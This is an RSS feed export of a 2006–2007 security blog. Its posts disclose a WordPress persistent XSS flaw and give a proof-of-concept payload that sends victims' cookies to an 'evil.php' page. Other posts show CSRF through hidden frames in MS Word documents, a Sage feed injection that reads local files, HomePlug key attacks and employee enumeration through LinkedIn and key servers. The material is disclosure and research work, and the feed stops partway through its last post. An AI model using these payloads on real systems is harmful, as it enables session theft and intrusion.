<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Diary of Michael Daw &#187; Michael Daw&#8217;s Hacks</title>
	<atom:link href="http://michaeldaw.org/category/md-hacks/feed" rel="self" type="application/rss+xml" />
	<link>http://michaeldaw.org</link>
	<description>Weekly humour</description>
	<lastBuildDate>Thu, 21 May 2009 15:45:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>DOM Race Conditions</title>
		<link>http://michaeldaw.org/md-hacks/dom_race_conditions</link>
		<comments>http://michaeldaw.org/md-hacks/dom_race_conditions#comments</comments>
		<pubDate>Wed, 17 Jan 2007 22:41:59 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/dom_race_conditions/</guid>
		<description><![CDATA[
It is interesting to note when playing with the onUnload event handler, that both Firefox and IE make requests and retrieve responses whilst the DOM is still set on the previous domain.


This got me toying with the idea of a timing attack to bypass the same-origin policy. The basic idea behind this attack is utilising [...]]]></description>
			<content:encoded><![CDATA[<p>
It is interesting to note when playing with the onUnload event handler, that both Firefox and IE make requests and retrieve responses whilst the DOM is still set on the previous domain.
</p>
<p>
This got me toying with the idea of a timing attack to bypass the same-origin policy. The basic idea behind this attack is utilising the difference in timing between the DOM and the browser&#8217;s network API. I did not succeed in this endeavor but the concept was cool. Bringing race condition vulnerabilities to the browser context would truly open the *nyx boys eyes.
</p>
<p>
What I did find was that it is possible to kill IE7 :)
</p>
<p>
DNS Pinning hacks seem unreliable and very targetted. I am in search of something more flexible and powerful to enable cross-domain, bi-directional XSS capabilities. For now these lie in compromising browser plugins (Greasemonkey scripts etc), or in third party applications.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/dom_race_conditions/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wordpress template.php Exploit</title>
		<link>http://michaeldaw.org/md-hacks/wordpress-templatephp-exploit</link>
		<comments>http://michaeldaw.org/md-hacks/wordpress-templatephp-exploit#comments</comments>
		<pubDate>Sat, 30 Dec 2006 17:29:03 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/wordpress-templatephp-exploit/</guid>
		<description><![CDATA[Update: 16/01 see http://michaeldaw.org/projects/wpsec/


Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

http://www.securityfocus.com/bid/21782
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808


Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.


If you remember from my original advisory, our attack was limited due to our attack being passed through PHP&#8217;s basename function. [...]]]></description>
			<content:encoded><![CDATA[<p>Update: 16/01 see <a href="http://michaeldaw.org/projects/wpsec/">http://michaeldaw.org/projects/wpsec/</a></p>
<p><!--adsense#mdaw_250img--></p>
<p>
Its been a few days since the release of:<br />
<a href="http://michaeldaw.org/md-hacks/wordpress-persistent-xss">http://michaeldaw.org/md-hacks/wordpress-persistent-xss/</a>.
</p>
<h3>Other references:</h3>
<ul>
<li><a href="http://www.securityfocus.com/bid/21782">http://www.securityfocus.com/bid/21782</a></li>
<li><a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808">http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808</a></li>
</ul>
<p>
Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.
</p>
<p>
If you remember from my original advisory, our attack was limited due to our attack being passed through <a href="http://uk.php.net/basename">PHP&#8217;s basename function</a>. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.
</p>
<p>
I created two HTML files to aid in my research, Injection.html and Recover.html.
</p>
<h4>First: Inject.html</h4>
<p>
This is our actual exploit (we use a nested IMG exploit):
</p>
<pre>
&lt;
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=&lt;
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
&gt;
</pre>
<h4>Second: Recover.php</h4>
<p>
If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.
</p>
<pre>
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=a"&gt;
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=b"&gt;
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=c"&gt;
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=d"&gt;
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=e"&gt;
&lt;img src="https://wordpress-site/wp/wp-admin/templates.php?file=f"&gt;
</pre>
<p><!--adsense--></p>
<p>
Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.
</p>
<h3>Conclusion</h3>
<p>
I hope this article &#8220;strongly&#8221; encourages WordPress users to apply the <a href="http://trac.wordpress.org/changeset/4665">latest patch</a> ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/wordpress-templatephp-exploit/feed</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>WordPress Persistent XSS</title>
		<link>http://michaeldaw.org/md-hacks/wordpress-persistent-xss</link>
		<comments>http://michaeldaw.org/md-hacks/wordpress-persistent-xss#comments</comments>
		<pubDate>Wed, 27 Dec 2006 09:30:38 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/wordpress-persistent-xss/</guid>
		<description><![CDATA[

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)


WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.


Discussion:
When editing [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense#mdaw_imgbanner--></p>
<p>
Vulnerability Title: <a href="http://wordpress.org">WordPress Persistent XSS</a><br />
Author: David Kierznowski<br />
Homepage: <a href="http://michaeldaw.org">http://michaeldaw.org</a><br />
Software Vendor: <a href="http://wordpress.org">WordPress Persistent XSS</a><br />
Versions affected: Confirmed in v2.0.5 (latest)
</p>
<p>
<a href="http://wordpress.org">WordPress</a> is a popular open source <a href="http://www.thoughts.com/">blogging</a> software.<br />
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.
</p>
<p>
Discussion:<br />
When editing files a shortcut is created titled &#8216;recently accessed files&#8217;. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending  with &#8216;/&#8217;. We can get around this by using &#8220;open&#8221; IMG tags; this works under FF and IE.
</p>
<p>
Vulnerable code:<br />
wp-admin/templates.php:
</p>
<pre>
[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "&lt;li&gt;&lt;a href='templates.php?file="
          . wp_specialchars($recent, true) . "'&gt;"
          . get_file_description(basename($recent))
          . "&lt;/a&gt;&lt;/li&gt;";
</pre>
<p>
Vulnerable function:
</p>
<pre>
function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}
</pre>
<p>
Proof of concept:
</p>
<pre>
https://blogsite/wp/wp-admin/templates.php?file=%3Cimg%20src=''
           onerror=javascript:alert(<a href="http://www.digitaldocumentsllc.com/">document</a>.cookie);%3E
</pre>
<p>
Temp Fix:<br />
Comment out the following line in wp-admin/templates.php<br />
[Line 72] update_recently_edited($file);
</p>
<p><!--adsense--></p>
<p>
WordPress was contacted: 26/12/06 22:04 BST<br />
Reply received: 27/12/06 06:11 BST<br />
WordPress has fixed this for v2.0.6 and a patch has been released<br />
for v2.0.5, see<br />
<a href="http://trac.wordpress.org/changeset/4665">http://trac.wordpress.org/changeset/4665</a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/wordpress-persistent-xss/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Hacking HomePlug Networks</title>
		<link>http://michaeldaw.org/md-hacks/hacking_homeplugs</link>
		<comments>http://michaeldaw.org/md-hacks/hacking_homeplugs#comments</comments>
		<pubDate>Fri, 15 Dec 2006 20:43:29 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/hacking_homeplugs/</guid>
		<description><![CDATA[I don&#8217;t know whether HomePlug networks are growing in use or not, but the following statements caught my attention:
&#8220;Officials at Intellon, the chip maker that developed the HomePlug spec, say that hacking into a HomePlug network would require cracking the government&#8217;s DES encryption standard.&#8221; &#8211; link
My favourite:
&#8220;HomePlug specification products also protect data by utilizing powerful [...]]]></description>
			<content:encoded><![CDATA[<p>I don&#8217;t know whether HomePlug networks are growing in use or not, but the following statements caught my attention:</p>
<p>&#8220;Officials at Intellon, the chip maker that developed the HomePlug spec, say that hacking into a HomePlug network would require cracking the government&#8217;s DES encryption standard.&#8221; &#8211; <a href="http://www.pcworld.com/article/id,85003-page,1/article.html">link</a></p>
<p>My favourite:</p>
<p>&#8220;HomePlug specification products also protect data by utilizing powerful DES encryption, which makes hacking into a HomePlug network virtually impossible.&#8221; &#8211; <a href="http://www.hometoys.com/htinews/apr02/articles/homeplug/wilson.htm">link</a></p>
<p>If you are not sure what a HomePlug network is then maybe the following diagram will help:<br />
<img src="http://michaeldaw.org/images/homeplug.gif" alt="" /></p>
<p>As you can see above, HomePlug&#8217;s in many cases can replace a Wireless infrastructure or work along side it (i.e. your house or office has thick walls weakening the signal). You simply plug it into your wall socket and attach a network lead to it. </p>
<p><img src="http://michaeldaw.org/images/homeplug2.jpg" alt="" /></p>
<p>Now I didn&#8217;t really spend ages on coming up with advanced hacking techniques for these things. It would be overkill me thinks. These devices are insecure in their default state. They are also insecure in their &#8220;secured&#8221; state. </p>
<p>So lets put our attack together:<br />
1. HomePlug Detection &#038; Enumeration<br />
2. Exploitation in its default state<br />
3. Exploitation in its &#8220;secured&#8221; state<br />
4. Hacker Countermeasures</p>
<h3>1. HomePlug Enumeration</h3>
<p>You need a compatible HomePlug to start. A single plug can cost between Â£20 &#8211; Â£30. Ensure that the plug is HomePlug v1.0 certified or you will most likely fail in your endeavor. </p>
<p>You will then require a target, testing your own network is easy enough, attackers will most likely test your network from an outside wall socket. </p>
<p>Install the software that comes with the plug &#8211; this software was exactly same with both my HomePlug makes (other then a few logo changes). Plug your HomePlug into the wall socket of the network you what to connect to. Load up the software and simply click &#8220;Scan Powerlines Network&#8221;. You could also just load a sniffer and check if your <b>rogue plug</b> has already joined the network.</p>
<h3>2. Exploitation in its default state</h3>
<p>I couldn&#8217;t find the v1.0 specification rfc, but it was trivial to work out that all these devices use a default network key of &#8220;HomePlug&#8221; to start with. Obviously this was done to allow for plug and play. Load up your sniffer and monitor network traffic. If the default key is used you should see NetBIOS broadcasts etc. Job done.</p>
<h3>3. Exploitation in its &#8220;secured&#8221; state</h3>
<p>56-bit DES encryption may have been considered cryptographically strong in the stone ages <a href="http://www.eff.org/Privacy/Crypto/Crypto_misc/DESCracker/HTML/19980717_oreilly_crackingdes_pressrel.html">but not today</a>. </p>
<p>Even though 56-Bit DES encryption (2^56 possible keys) is breakable, it may take a fair chunk of time to crack &#8211; although <a href="http://www.rainbowtables.net/">Rainbowtables</a> has made this alot easier. Personally, I would try some weak passwords to begin with.</p>
<h3>4. Hacker Countermeasures</h3>
<p>Do the obvious. Use a very strong key to secure your HomePlug&#8217;s. Ensure thats your network devices are firewalled. Hopefully the newer versions will provide stronger encryption options.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/hacking_homeplugs/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CSRF with MS Word</title>
		<link>http://michaeldaw.org/md-hacks/csrf-with-msword</link>
		<comments>http://michaeldaw.org/md-hacks/csrf-with-msword#comments</comments>
		<pubDate>Fri, 24 Nov 2006 18:58:46 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/csrf-with-msword/</guid>
		<description><![CDATA[

Update: 15/12:
CSRF in MS Word part II
Update 28/11:
It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff.


Microsoft Word has been plagued with vulnerabilities in the past. Therefore, mail servers often restrict email with the .doc extension. However, with applications [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaeldaw.org/images/msword.gif" alt="" /></p>
<p>
Update: 15/12:<br />
<a href="http://michaeldaw.org/news/news-151206-0/">CSRF in MS Word part II</a><br />
Update 28/11:<br />
It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff.
</p>
<p>
Microsoft Word has been plagued with vulnerabilities in the <a href="http://www.osvdb.org/searchdb.php?action=search_title&#038;vuln_title=microsoft+word&#038;Search=Search">past</a>. Therefore, mail servers often restrict email with the .doc extension. However, with applications like <a href="http://www.microsoft.com/windowsserver2003/technologies/sharepoint/">Microsoft SharePoint</a> which allows sharing of content between users, the door is opened just slightly to allow for deviance. This article demonstrates using Microsoft Word in <a href="http://en.wikipedia.org/wiki/CSRF">Cross Site Request Forgery (CSRF) Attacks</a>.
</p>
<p><!--adsense--></p>
<p>
Our attack vector is found in exploiting MSWord&#8217;s frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent <a href="http://en.wikipedia.org/wiki/CSRF">CSRF</a> vulnerabilities (and possibly the browser). The cool part? This all happens transparently with no warnings to the user. Also, this IMG tag can be hidden within a document which means that our malicious code is executed everytime the document is opened. Furthermore, an attacker can use either 302 redirects or modify the infected HTML file to alter his/her targets array. This means our payload can be updated from the attackers end.
</p>
<p>
This is how we do it:
</p>
<p>1. Create new document<br />
2. Goto Insert &gt; Format &gt; Frames &gt;<br />
3. Right Click on the frame &gt; Frame Properties &gt;<br />
4. Set hyperlink to our exploit page which contains malicious IMG tags.
</p>
<p>
An example target HTML file can be seen below:
</p>
<pre>
&lt;html&gt;
&lt;body&gt;
&lt;img src="http://non-existent/login.php?changepass=123&#038;verify=123" alt=""  /&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>
Obviously curious about how MS Word communicates, I sniffed the connection:
</p>
<pre>
GET /login.php?changepass=123&#038;verify=123 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: non-existent
Connection: Keep-Alive
Cookie: blah
</pre>
<p>
As we can see, it is using Internet Explorer to fetch these pages. With some creativity other exploitation techniques may be possible (i.e. ActiveX exploitation). However, attacks are limited due to scripting being disabled by default. Thus we see that MS Word can be used to launch multiple, persistent (well almost) <a href="http://en.wikipedia.org/wiki/CSRF">CSRF</a> attacks.
</p>
<p>
Tested using: MS Word 2000.<br />
Expect a part 2 :)
</p>
<p><!--adsense#mdaw_250img--></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/csrf-with-msword/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>RSS Injection in Sage part 2</title>
		<link>http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2</link>
		<comments>http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2#comments</comments>
		<pubDate>Thu, 09 Nov 2006 00:14:02 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/</guid>
		<description><![CDATA[

2 months ago, both pdp any myself released a vulnerability &#8220;Cross Context Scripting in Sage&#8221;. This issue was resolved in Sage release 1.3.7 (see: http://mozdev.org/bugs/show_bug.cgi?id=15101). I  found a new vulnerability which affects the latest version, Sage 1.3.8. In addition to the XSS vulnerability, it should be noted (as in the previous vulnerability) that this [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://michaeldaw.org/images/sage.jpg" alt="" /></p>
<p>
2 months ago, both <a href="http://www.gnucitizen.org">pdp</a> any myself released a vulnerability <a href="http://michaeldaw.org/md-hacks/cross-context-scripting-with-sage/">&#8220;Cross Context Scripting in Sage&#8221;</a>. This issue was resolved in Sage release 1.3.7 (see: <a href="http://mozdev.org/bugs/show_bug.cgi?id=15101">http://mozdev.org/bugs/show_bug.cgi?id=15101</a>). I  found a new vulnerability which affects the latest version, Sage 1.3.8. In addition to the XSS vulnerability, it should be noted (as in the previous vulnerability) that this issue occurs within the Local Browser Context.
</p>
<p>
Background:<br />
A number of popular online RSS readers allow images to be embedded within Feeds. It has been known for some time now, that the amount of people subscribed to your feed can be determined by using the image src functionality. This is interesting from an anonymity point of view. I was curious to know just how well these applications would prevent and/or restrict the &#8220;img onload&#8221; features.
</p>
<p>
Ironically, Sage seems to handle this quite well. It removes any &#8220;onload&#8221; attribute within an IMG element. Sage also completely removes offending JavaScript code. However, it fails to remove the script tags when inserted within the IMG element. In addition to this, it will actually end the IMG element for us. For example:
</p>
<p>
&lt;img src=&#8221;http://michaeldaw.org/images/jss.jpg&#8221; &lt;script&gt;alert(&#8217;blah&#8217;);&lt;/script&gt; &gt;&lt;/img&gt;<br />
becomes:<br />
&lt;img src=&#8221;http://michaeldaw.org/images/jss.jpg&#8221; &gt; &lt;script&gt;alert(&#8217;blah&#8217;);&lt;/script&gt; &lt;/img&gt;<br />
Notice the trailing &gt; is removed and added before our JavaScript code.
</p>
<p>
A proof of concept feed can be found <a href="http://michaeldaw.org/projects/sage-exploit-feed.xml">here</a>.<br />
This feed will open &#8220;/etc/passwd&#8221; for Linux users and &#8220;&#8230;./etc/hosts&#8221; for MS Windows users. Please note I have not tested the Windows feed.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Targeted Web Attacks</title>
		<link>http://michaeldaw.org/projects/targeted-web-attacks</link>
		<comments>http://michaeldaw.org/projects/targeted-web-attacks#comments</comments>
		<pubDate>Thu, 21 Sep 2006 11:37:07 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/projects/targeted-web-attacks/</guid>
		<description><![CDATA[

Targeted Web Attacks
Part 2 of Social Networks the New Fingerd
Author david.kierznowski_at_gmail.com
http://michaeldaw.org


1. Introduction


I recently released an article titled, &#8220;Social networks the New FingerD&#8221;. This article gave an example of using LinkedIn in passive username enumeration attacks. This article will discuss using Search engines and OpenPGP key servers as additional enumeration resources. None of these ideas are [...]]]></description>
			<content:encoded><![CDATA[<p>
<img src="/images/target1.gif" alt="" /></p>
<p>Targeted Web Attacks<br />
<a href="http://michaeldaw.org/md-hacks/social-networks-the-new-fingerd/">Part 2 of Social Networks the New Fingerd</a><br />
Author david.kierznowski_at_gmail.com<br />
http://michaeldaw.org
</p>
<p>
1. Introduction
</p>
<p>
I recently released an article titled, &#8220;Social networks the New FingerD&#8221;. This article gave an example of using LinkedIn in passive username enumeration attacks. This article will discuss using Search engines and OpenPGP key servers as additional enumeration resources. None of these ideas are new, but in my opinion require a bit more light, especially when looking at <a href="http://ha.ckers.org/blog/20060920/xss-is-the-top-security-vulnerability/">RSnake&#8217;s recent XSS Top Vulnerability post</a>
</p>
<p>
2. Purpose<br />
At the moment XSS attack scenarios are very broad. XSS to create a botnet or propogate a worm etc etc. There is no real direction toward actual focused XSS exploitation. In theory one could own the continent(s) and then filter out specific targets, but lets face it, this is probably not the smartest thing to do.
</p>
<p>
3. The How?<br />
My initial thoughts on targeted Web attacks <b>&#8220;from the Internet&#8221;</b> include some of the following ideas:
</p>
<p>
Backdooring the Company Homepage<br />
Many users have their browser&#8217;s default (or startup) page set to the company website. However, this may not work in some cases as internal users often connect to an Intranet website rather then an Internet website. Another solution to this problem may be to backdoor another website associated with the company (i.e. company webmail, or Citrix Gateway).
</p>
<p>
Information Gathering Attacks<br />
In most cases, specific exploitation requires fore-knowledge of our target. For example, Jane Daw works at company X as a legal secretary. Once this information is known any number of &#8220;specific&#8221; attacks can be launched. These attacks can occur via HTTP, Email, social engineering and password brute forcing to name a few.
</p>
<p>
Over the last month, pdp (architect) and I (was that the right way round, can never remember) have been working on backdooring a number of web technologoies. So far our list includes:<br />
   * <a href="http://gnucitizen.org">Web Pages</a><br />
   * <a href="http://gnucitizen.org">Flash</a><br />
   * <a href="http://gnucitizen.org">Quicktime</a><br />
   * <a href="http://michaeldaw.org/md-hacks/backdooring-pdf-files/">PDF</a><br />
   * <a href="http://gnucitizen.org">MP3 (Although this uses Quicktime)</a>
</p>
<p>
So the question still remains, what web resources do we have available to us to passively enumerate users within an organisation?
</p>
<p>
We have already discussed using Social Networks such as LinkedIn. Two other possibilities are as follows:<br />
   * Public Key Servers<br />
   * Search Engines
</p>
<p>
3.1 Public Key Servers
</p>
<p>
Public key servers allows a single repository for users to store their public keys on the Internet. This allows users to encrypt email between two parties easily without having to hastle the recipient for their public keys.
</p>
<p>
This service is an excellent resource to enumerate employee details within an organisation.
</p>
<p>
Example search for google.com using &#8220;<a href="http://keyserver.veridis.com:11371">http://keyserver.veridis.com:11371</a>&#8220;:
</p>
<pre>
--snip--
 Results 1 - 30 of about 41 for google.com. (0.019 seconds)
	Key(s) 	Key ID 	Size 	Creation 	Expiration

*hidden* *hidden*@google.com 	0x4F79C91B 	4096/1024 	2006/06/13 	2011/06/12
*hidden* *hidden*@google.com 	0x8475A4CF 	2048/1024 	2001/05/07 	Never
*hidden* *hidden*@google.com 	0x9038F60E 	2048/1024 	2001/02/20 	Never
*hidden* *hidden*@google.com 	0xE617F27A 	1024 	2005/07/13 	2006/07/13
*hidden* *hidden*@inodes.org 	0xD02F8773 	1024/1024 	2000/03/08 	Never
*hidden* *hidden*@google.com	0x20C9885A 	2048/1024 	2005/10/12 	Never
*hidden* *hidden*@red-bean.com 	0xEC6B5156 	1024/1024 	1998/11/09 	Never
*hidden* *hidden*@google.com 	0x4E844EF3 	1024 	2005/07/27 	2006/07/26
*hidden* *hidden*@google.com 	0x2349D344 	2048/1024 	2005/12/06 	2007/12/06
*hidden* *hidden*@google.com 	0x438046E4 	2048/1024 	2005/12/12 	Never
--snip--
</pre>
<p>
3.2 Search Engine
</p>
<p>
Search engines when used correctly can yield very sensitive information. For more information on this see: <a href="http://johnny.ihackstuff.com/">http://johnny.ihackstuff.com/</a>.
</p>
<p>
4. Tools
</p>
<p>
I was thinking about writing a tool to automate these checks, however, when bouncing it off pdp (architect), I found he had already done the work.
</p>
<p>
His tool is a little outdated but provides support for both Google and OpenPGP checks. It can be found at the following URL:<br />
<a href="http://www.gnucitizen.org/projects/met/">http://www.gnucitizen.org/projects/met/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/projects/targeted-web-attacks/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social Networks the New Fingerd</title>
		<link>http://michaeldaw.org/md-hacks/social-networks-the-new-fingerd</link>
		<comments>http://michaeldaw.org/md-hacks/social-networks-the-new-fingerd#comments</comments>
		<pubDate>Sun, 17 Sep 2006 22:07:55 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/social-networks-the-new-fingerd/</guid>
		<description><![CDATA[

Ring, ring&#8230;


&#8220;Hello?&#8221;
&#8220;Hi, I&#8217;m looking for Michael Daw?&#8221;
&#8220;Speaking, how may I help you?&#8221;
&#8220;Hi Michael, my name is Ian Lambert. I am a member of Pittman&#8217;s Recruitment. We specialise in security recruiting. We have a common acquaintance, Peter Smith?&#8221;
&#8230;


&#8220;Isn&#8217;t it true, its not what you know but who you know&#8221; I thought to myself as I put [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/social.jpg" alt="" /></p>
<p>
Ring, ring&#8230;
</p>
<p>
&#8220;Hello?&#8221;<br />
&#8220;Hi, I&#8217;m looking for Michael Daw?&#8221;<br />
&#8220;Speaking, how may I help you?&#8221;<br />
&#8220;Hi Michael, my name is Ian Lambert. I am a member of Pittman&#8217;s Recruitment. We specialise in security recruiting. We have a common acquaintance, Peter Smith?&#8221;<br />
&#8230;
</p>
<p>
&#8220;Isn&#8217;t it true, its not what you know but who you know&#8221; I thought to myself as I put the phone down.
</p>
<p>
A spark went off in my head as I pondered over my conversation with Ian. How much information is available on social networks? My next question dismissed the first, &#8220;Why would I care?&#8221; I sat back in my comfortable lazy boy chair and let out a big sigh.
</p>
<p>
The old Unix finger daemon popped into my head. This service running on (79/TCP) allowed remote users to query a server for logged in users. Back in the day attackers loved this service. It meant they could remotely enumerate valid usernames. I logged into my Unix server to remind myself of the information disclosed via this service:
</p>
<pre>
$ finger
Login     Name       	Tty      Idle  Login Time   Office     Office Phone
root      superman   	pts/0          Sep 11 18:11 (10.10.1.5)
michael  Michael Daw	pts/1          Sep 11 22:19 (10.10.1.90)

$ finger michael
Login: michael                              Name: Michael Daw
Directory: /home/michael                   Shell: /bin/bash
On since Sun Sep 11 18:11 (BST) on pts/0 from 10.10.1.90
   2 minutes 25 seconds idle
On since Sun Sep 11 22:19 (BST) on pts/1 from 10.10.1.90
New mail received Sun Sep 11 22:20 2006 (BST)
     Unread since Fri Aug 25 22:13 2006 (BST)
No Plan.
</pre>
<p>
I then logged into <a href="http://www.linkedin.com">LinkedIn.com</a>, which is an Internet social network service, used mostly for business connections. It has over 2.5 million registered users, including 630,000 in Europe and 170,000 in Asia. Social networks were appearing everywhere. They included sites such as, <a href="http://www.facebook.com">www.facebook.com</a>, <a href="http://www.myspace.com">www.myspace.com</a>, <a href="http://www.classmates.com">www.classmates.com</a>, <a href="http://www.sixdegrees.com">www.sixdegrees.com</a>, and <a href="http://www.friendster.com">www.friendster.com</a>, to name a few.
</p>
<p>
A grin crossed my face as my eyes fell upon the &#8220;Search by company&#8221; option. I clicked my fingers and entered, Google (my favourite prey):
</p>
<pre>
We found 17 users in your network matching your criteria:

    * Users currently at: google
    * Sorted by: keyword relevance
</pre>
<p>
Who needs Finger I chuckled.
</p>
<p>
This was one technique that could be used in Targeted XSS Attacks using only <b>HTTP (Hackers Totally Trusted Protocol)</b>.
</p>
<p>References:<br />
<a href="http://en.wikipedia.org/wiki/LinkedIn">http://en.wikipedia.org/wiki/LinkedIn</a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/social-networks-the-new-fingerd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backdooring PDF Files</title>
		<link>http://michaeldaw.org/md-hacks/backdooring-pdf-files</link>
		<comments>http://michaeldaw.org/md-hacks/backdooring-pdf-files#comments</comments>
		<pubDate>Wed, 13 Sep 2006 13:50:57 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/backdooring-pdf-files/</guid>
		<description><![CDATA[

Updates:

20/09/07 &#8211; PDP&#8217;s PDF URI Parsing Vulnerability
04/01/06 &#8211; New PDF Vulnerability

Recently, there has been alot of hype involving backdooring various web technologies. pdp (arcitect) has done alot of work centered around this area.
I saw Jeremiah Grossman mention PDF&#8217;s being &#8220;BAD&#8221;, however, I was unable to easily locate any practical reasons as to why. I decided [...]]]></description>
			<content:encoded><![CDATA[<p class="niceme">
<p><img src="/images/pdflogo.jpg" alt="" /></p>
<p>Updates:</p>
<ul>
<li>20/09/07 &#8211; <a href="http://www.gnucitizen.org/blog/0day-pdf-pwns-windows">PDP&#8217;s PDF URI Parsing Vulnerability</a></li>
<li><a href="http://www.gnucitizen.org/blog/0day-pdf-pwns-windows">04/01/06 &#8211; </a><a href="http://michaeldaw.org/news/news-040106/">New PDF Vulnerability</a></li>
</ul>
